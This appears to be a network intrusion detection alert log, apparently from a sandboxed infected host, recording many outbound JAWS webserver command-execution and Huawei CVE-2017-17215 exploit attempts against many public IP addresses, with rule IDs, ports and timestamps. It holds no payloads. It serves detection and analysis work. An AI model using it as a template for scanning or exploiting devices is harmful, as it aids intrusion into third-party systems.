SID:	2030092
Source Port:	36026
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 121.214.74.12

Timestamp:	192.168.2.23121.214.74.1239068802030092 07/11/22-01:02:56.672889
SID:	2030092
Source Port:	39068
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 175.212.204.123

Timestamp:	192.168.2.23175.212.204.12337716802030092 07/11/22-01:03:27.174440
SID:	2030092
Source Port:	37716
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 223.205.88.152

Timestamp:	192.168.2.23223.205.88.15247608802030092 07/11/22-01:03:30.175044
SID:	2030092
Source Port:	47608
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 59.127.183.133

Timestamp:	192.168.2.2359.127.183.13344676802030092 07/11/22-01:02:41.480645
SID:	2030092
Source Port:	44676
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 109.228.55.97

Timestamp:	192.168.2.23109.228.55.9743654802030092 07/11/22-01:04:15.047650
SID:	2030092
Source Port:	43654
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 94.100.56.155

Timestamp:	192.168.2.2394.100.56.15534084802030092 07/11/22-01:04:05.733023
SID:	2030092
Source Port:	34084
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 185.238.225.78

Timestamp:	192.168.2.23185.238.225.7845848802030092 07/11/22-01:02:54.313377
SID:	2030092
Source Port:	45848
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.90.196.128

Timestamp:	192.168.2.23104.90.196.12851140802030092 07/11/22-01:03:37.017877
SID:	2030092
Source Port:	51140
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 107.148.94.213

Timestamp:	192.168.2.23107.148.94.21356518802030092 07/11/22-01:02:54.338597
SID:	2030092
Source Port:	56518
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.89.214

Timestamp:	192.168.2.23156.226.89.21447982372152835222 07/11/22-01:02:44.056484
SID:	2835222
Source Port:	47982
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 121.177.24.166

Timestamp:	192.168.2.23121.177.24.16660774802030092 07/11/22-01:03:04.454138
SID:	2030092
Source Port:	60774
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.36.205.26

Timestamp:	192.168.2.23154.36.205.2637208802030092 07/11/22-01:02:49.098349
SID:	2030092
Source Port:	37208
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.218.187.13

Timestamp:	192.168.2.2323.218.187.1351442802030092 07/11/22-01:04:11.858261
SID:	2030092
Source Port:	51442
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.86.149

Timestamp:	192.168.2.23156.226.86.14937738372152835222 07/11/22-01:02:34.394277
SID:	2835222
Source Port:	37738
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 199.38.187.68

Timestamp:	192.168.2.23199.38.187.6846886802030092 07/11/22-01:03:20.761953
SID:	2030092
Source Port:	46886
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.46.4.137

Timestamp:	192.168.2.2323.46.4.13751578802030092 07/11/22-01:03:27.194570
SID:	2030092
Source Port:	51578
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.238.44.126

Timestamp:	192.168.2.23156.238.44.12654042372152835222 07/11/22-01:04:03.041652
SID:	2835222
Source Port:	54042
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 47.99.181.14

Timestamp:	192.168.2.2347.99.181.1455282802030092 07/11/22-01:03:13.729553
SID:	2030092
Source Port:	55282
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.38.42.131

Timestamp:	192.168.2.2323.38.42.13134586802030092 07/11/22-01:02:54.010608
SID:	2030092
Source Port:	34586
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 35.183.83.199

Timestamp:	192.168.2.2335.183.83.19941800802030092 07/11/22-01:03:58.057404
SID:	2030092
Source Port:	41800
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.235.111.93

Timestamp:	192.168.2.23156.235.111.9358576372152835222 07/11/22-01:04:03.792511
SID:	2835222
Source Port:	58576
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.115.64.220

Timestamp:	192.168.2.23104.115.64.22051062802030092 07/11/22-01:02:13.150130
SID:	2030092
Source Port:	51062
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 20.54.166.200

Timestamp:	192.168.2.2320.54.166.20036644802030092 07/11/22-01:02:39.165838
SID:	2030092
Source Port:	36644
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 159.223.156.85

Timestamp:	192.168.2.23159.223.156.8533510802030092 07/11/22-01:02:56.149628
SID:	2030092
Source Port:	33510
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.7.84.52

Timestamp:	192.168.2.23154.7.84.5248814802030092 07/11/22-01:03:00.781279
SID:	2030092
Source Port:	48814
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 217.172.24.187

Timestamp:	192.168.2.23217.172.24.18741224802030092 07/11/22-01:03:33.123923
SID:	2030092
Source Port:	41224
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 92.52.218.246

Timestamp:	192.168.2.2392.52.218.24660624802030092 07/11/22-01:03:33.908224
SID:	2030092
Source Port:	60624
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.33.207

Timestamp:	192.168.2.23156.226.33.20743652372152835222 07/11/22-01:02:59.977327
SID:	2835222
Source Port:	43652
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 103.39.56.41

Timestamp:	192.168.2.23103.39.56.4137644802030092 07/11/22-01:02:16.399712
SID:	2030092
Source Port:	37644
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.78.158.203

Timestamp:	192.168.2.2323.78.158.20349136802030092 07/11/22-01:03:30.148675
SID:	2030092
Source Port:	49136
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 200.146.225.230

Timestamp:	192.168.2.23200.146.225.23033280802030092 07/11/22-01:03:40.530368
SID:	2030092
Source Port:	33280
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.39.142.89

Timestamp:	192.168.2.2323.39.142.8939456802030092 07/11/22-01:03:19.019814
SID:	2030092
Source Port:	39456
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 88.80.0.155

Timestamp:	192.168.2.2388.80.0.15547218802030092 07/11/22-01:02:31.214910
SID:	2030092
Source Port:	47218
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 115.29.163.188

Timestamp:	192.168.2.23115.29.163.18844076802030092 07/11/22-01:02:56.440835
SID:	2030092
Source Port:	44076
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 175.99.119.76

Timestamp:	192.168.2.23175.99.119.7649828802030092 07/11/22-01:03:24.534588
SID:	2030092
Source Port:	49828
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 200.110.58.37

Timestamp:	192.168.2.23200.110.58.3750946802030092 07/11/22-01:02:33.695806
SID:	2030092
Source Port:	50946
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 117.197.4.250

Timestamp:	192.168.2.23117.197.4.25050484802030092 07/11/22-01:02:52.730132
SID:	2030092
Source Port:	50484
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 206.206.242.122

Timestamp:	192.168.2.23206.206.242.12253600802030092 07/11/22-01:03:23.831022
SID:	2030092
Source Port:	53600
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.32.193.209

Timestamp:	192.168.2.2323.32.193.20959868802030092 07/11/22-01:03:04.424373
SID:	2030092
Source Port:	59868
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.247.26.86

Timestamp:	192.168.2.23156.247.26.8647768372152835222 07/11/22-01:03:04.783186
SID:	2835222
Source Port:	47768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 192.241.108.91

Timestamp:	192.168.2.23192.241.108.9147584802030092 07/11/22-01:03:38.683813
SID:	2030092
Source Port:	47584
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.78.84.229

Timestamp:	192.168.2.23104.78.84.22952114802030092 07/11/22-01:03:37.559767
SID:	2030092
Source Port:	52114
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.230.29.102

Timestamp:	192.168.2.23156.230.29.10251402372152835222 07/11/22-01:02:16.562829
SID:	2835222
Source Port:	51402
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 77.46.163.153

Timestamp:	192.168.2.2377.46.163.15349422802030092 07/11/22-01:02:58.174503
SID:	2030092
Source Port:	49422
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 38.72.94.250

Timestamp:	192.168.2.2338.72.94.25046742802030092 07/11/22-01:03:30.441393
SID:	2030092
Source Port:	46742
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 108.158.128.10

Timestamp:	192.168.2.23108.158.128.1055916802030092 07/11/22-01:02:36.559585
SID:	2030092
Source Port:	55916
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.244.74.106

Timestamp:	192.168.2.23156.244.74.10636452372152835222 07/11/22-01:02:23.919271
SID:	2835222
Source Port:	36452
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.205.226.110

Timestamp:	192.168.2.2352.205.226.11042008802030092 07/11/22-01:02:35.201655
SID:	2030092
Source Port:	42008
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 45.42.83.196

Timestamp:	192.168.2.2345.42.83.19650738802030092 07/11/22-01:03:40.040844
SID:	2030092
Source Port:	50738
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 92.154.61.129

Timestamp:	192.168.2.2392.154.61.12949920802030092 07/11/22-01:04:05.773547
SID:	2030092
Source Port:	49920
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 129.219.143.78

Timestamp:	192.168.2.23129.219.143.7842570802030092 07/11/22-01:03:30.126932
SID:	2030092
Source Port:	42570
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.4.232

Timestamp:	192.168.2.23156.250.4.23260360372152835222 07/11/22-01:03:29.264664
SID:	2835222
Source Port:	60360
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.245.60.226

Timestamp:	192.168.2.23156.245.60.22637240372152835222 07/11/22-01:04:10.285697
SID:	2835222
Source Port:	37240
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 86.152.138.124

Timestamp:	192.168.2.2386.152.138.12457050802030092 07/11/22-01:02:53.377700
SID:	2030092
Source Port:	57050
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 212.116.100.212

Timestamp:	192.168.2.23212.116.100.21239982802030092 07/11/22-01:03:45.158717
SID:	2030092
Source Port:	39982
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 50.19.240.178

Timestamp:	192.168.2.2350.19.240.17856340802030092 07/11/22-01:03:40.282441
SID:	2030092
Source Port:	56340
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.40.87.154

Timestamp:	192.168.2.2323.40.87.15454432802030092 07/11/22-01:03:19.045258
SID:	2030092
Source Port:	54432
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.50.87.157

Timestamp:	192.168.2.2323.50.87.15758460802030092 07/11/22-01:03:47.381078
SID:	2030092
Source Port:	58460
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.89.84

Timestamp:	192.168.2.23156.250.89.8442702372152835222 07/11/22-01:02:18.788784
SID:	2835222
Source Port:	42702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 191.101.10.56

Timestamp:	192.168.2.23191.101.10.5633500802030092 07/11/22-01:02:20.525706
SID:	2030092
Source Port:	33500
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 192.146.215.205

Timestamp:	192.168.2.23192.146.215.20543750802030092 07/11/22-01:03:47.437158
SID:	2030092
Source Port:	43750
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.103.2

Timestamp:	192.168.2.23156.241.103.253956372152835222 07/11/22-01:03:09.354529
SID:	2835222
Source Port:	53956
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 69.54.235.220

Timestamp:	192.168.2.2369.54.235.22035260802030092 07/11/22-01:03:06.352372
SID:	2030092
Source Port:	35260
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.192.227.89

Timestamp:	192.168.2.2323.192.227.8953104802030092 07/11/22-01:03:34.018095
SID:	2030092
Source Port:	53104
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 141.94.154.58

Timestamp:	192.168.2.23141.94.154.5851984802030092 07/11/22-01:02:46.026465
SID:	2030092
Source Port:	51984
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 80.193.1.122

Timestamp:	192.168.2.2380.193.1.12260736802030092 07/11/22-01:03:26.926503
SID:	2030092
Source Port:	60736
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 54.187.136.42

Timestamp:	192.168.2.2354.187.136.4251218802030092 07/11/22-01:02:17.223742
SID:	2030092
Source Port:	51218
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 43.224.230.113

Timestamp:	192.168.2.2343.224.230.11359746802030092 07/11/22-01:03:20.818508
SID:	2030092
Source Port:	59746
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.224.21.173

Timestamp:	192.168.2.23156.224.21.17337610372152835222 07/11/22-01:03:50.200363
SID:	2835222
Source Port:	37610
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 96.17.203.53

Timestamp:	192.168.2.2396.17.203.5333692802030092 07/11/22-01:02:57.699028
SID:	2030092
Source Port:	33692
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.19.2.190

Timestamp:	192.168.2.2323.19.2.19041846802030092 07/11/22-01:04:04.045912
SID:	2030092
Source Port:	41846
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 185.254.37.13

Timestamp:	192.168.2.23185.254.37.1357906802030092 07/11/22-01:03:37.240505
SID:	2030092
Source Port:	57906
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 170.83.179.134

Timestamp:	192.168.2.23170.83.179.13458804802030092 07/11/22-01:03:19.146969
SID:	2030092
Source Port:	58804
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.64.115.107

Timestamp:	192.168.2.23154.64.115.10759030802030092 07/11/22-01:02:20.731635
SID:	2030092
Source Port:	59030
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 178.208.119.135

Timestamp:	192.168.2.23178.208.119.13536592802030092 07/11/22-01:04:14.883233
SID:	2030092
Source Port:	36592
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 192.142.173.78

Timestamp:	192.168.2.23192.142.173.7859340802030092 07/11/22-01:03:13.509866
SID:	2030092
Source Port:	59340
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 213.3.1.106

Timestamp:	192.168.2.23213.3.1.10643904802030092 07/11/22-01:03:06.985177
SID:	2030092
Source Port:	43904
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 31.0.160.210

Timestamp:	192.168.2.2331.0.160.21051946802030092 07/11/22-01:04:09.045656
SID:	2030092
Source Port:	51946
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 93.47.157.10

Timestamp:	192.168.2.2393.47.157.1033086802030092 07/11/22-01:02:20.447218
SID:	2030092
Source Port:	33086
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 103.247.11.170

Timestamp:	192.168.2.23103.247.11.17054244802030092 07/11/22-01:02:58.904136
SID:	2030092
Source Port:	54244
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.5.152.164

Timestamp:	192.168.2.2352.5.152.16438710802030092 07/11/22-01:03:38.426842
SID:	2030092
Source Port:	38710
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 87.98.176.9

Timestamp:	192.168.2.2387.98.176.939234802030092 07/11/22-01:02:58.182970
SID:	2030092
Source Port:	39234
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.93.182.229

Timestamp:	192.168.2.23154.93.182.22949686802030092 07/11/22-01:04:14.366959
SID:	2030092
Source Port:	49686
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 202.139.212.173

Timestamp:	192.168.2.23202.139.212.17339080802030092 07/11/22-01:03:47.398814
SID:	2030092
Source Port:	39080
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 146.75.7.181

Timestamp:	192.168.2.23146.75.7.18140502802030092 07/11/22-01:04:08.413864
SID:	2030092
Source Port:	40502
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.244.84.225

Timestamp:	192.168.2.23156.244.84.22558104372152835222 07/11/22-01:03:48.824619
SID:	2835222
Source Port:	58104
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 59.110.124.80

Timestamp:	192.168.2.2359.110.124.8053154802030092 07/11/22-01:03:04.335580
SID:	2030092
Source Port:	53154
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 163.191.124.64

Timestamp:	192.168.2.23163.191.124.6448580802030092 07/11/22-01:03:20.722563
SID:	2030092
Source Port:	48580
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 206.74.221.46

Timestamp:	192.168.2.23206.74.221.4643282802030092 07/11/22-01:03:23.821295
SID:	2030092
Source Port:	43282
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.84.150

Timestamp:	192.168.2.23156.254.84.15053932372152835222 07/11/22-01:04:09.904588
SID:	2835222
Source Port:	53932
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.71.13.17

Timestamp:	192.168.2.23104.71.13.1757364802030092 07/11/22-01:02:44.072436
SID:	2030092
Source Port:	57364
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.80.82

Timestamp:	192.168.2.23156.254.80.8260102372152835222 07/11/22-01:03:17.779512
SID:	2835222
Source Port:	60102
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 95.110.252.91

Timestamp:	192.168.2.2395.110.252.9138210802030092 07/11/22-01:02:41.794748
SID:	2030092
Source Port:	38210
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 192.241.200.109

Timestamp:	192.168.2.23192.241.200.10946400802030092 07/11/22-01:02:23.604218
SID:	2030092
Source Port:	46400
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.16.84.61

Timestamp:	192.168.2.23104.16.84.6156440802030092 07/11/22-01:03:15.168956
SID:	2030092
Source Port:	56440
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 114.34.215.224

Timestamp:	192.168.2.23114.34.215.22457744802030092 07/11/22-01:04:02.937481
SID:	2030092
Source Port:	57744
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

